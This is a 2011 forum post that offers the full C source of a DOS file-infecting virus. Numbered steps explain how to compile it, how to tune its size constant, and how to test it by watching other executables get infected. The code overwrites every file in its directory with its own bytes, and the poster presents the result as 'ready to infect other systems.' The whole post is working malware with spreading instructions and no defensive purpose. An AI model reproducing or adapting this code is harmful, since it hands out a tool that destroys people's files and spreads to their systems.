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 Computer Virus Code

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SaJiD ShaheeN JuTT
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Posts : 337
Join date : 2011-11-28
Age : 28
Location : pakistan

PostSubject: Computer Virus Code   Mon Dec 19, 2011 2:24 am

This is how you can compile the code:
1. You require Borland TC 3.0, copy the code into the compiler and press Alt+F9, it will compile the code.
2. To generate the exe file of the virus press F9. Remember, Do Not Press CTRL+F9 as this will infect your system also.
3. Note the size of the generated exe file in Bytes.
4. Modify the value of X (which is 89088 initially) in the code above with the size noted in above step.
5. Go to step 1 and step 2 again. The exe file obtained now is the Virus and is ready to infect other systems.
To Test:
1. Make a new folder and put some (any) exe files in it.
2. Also put this virus in it.
3. Run the virus and you will notice that the other exe files will get infected.
4. All the infected files are ready to reinfect.

FOLLOWING IS THE CODE


Code:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
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Computer Virus Code

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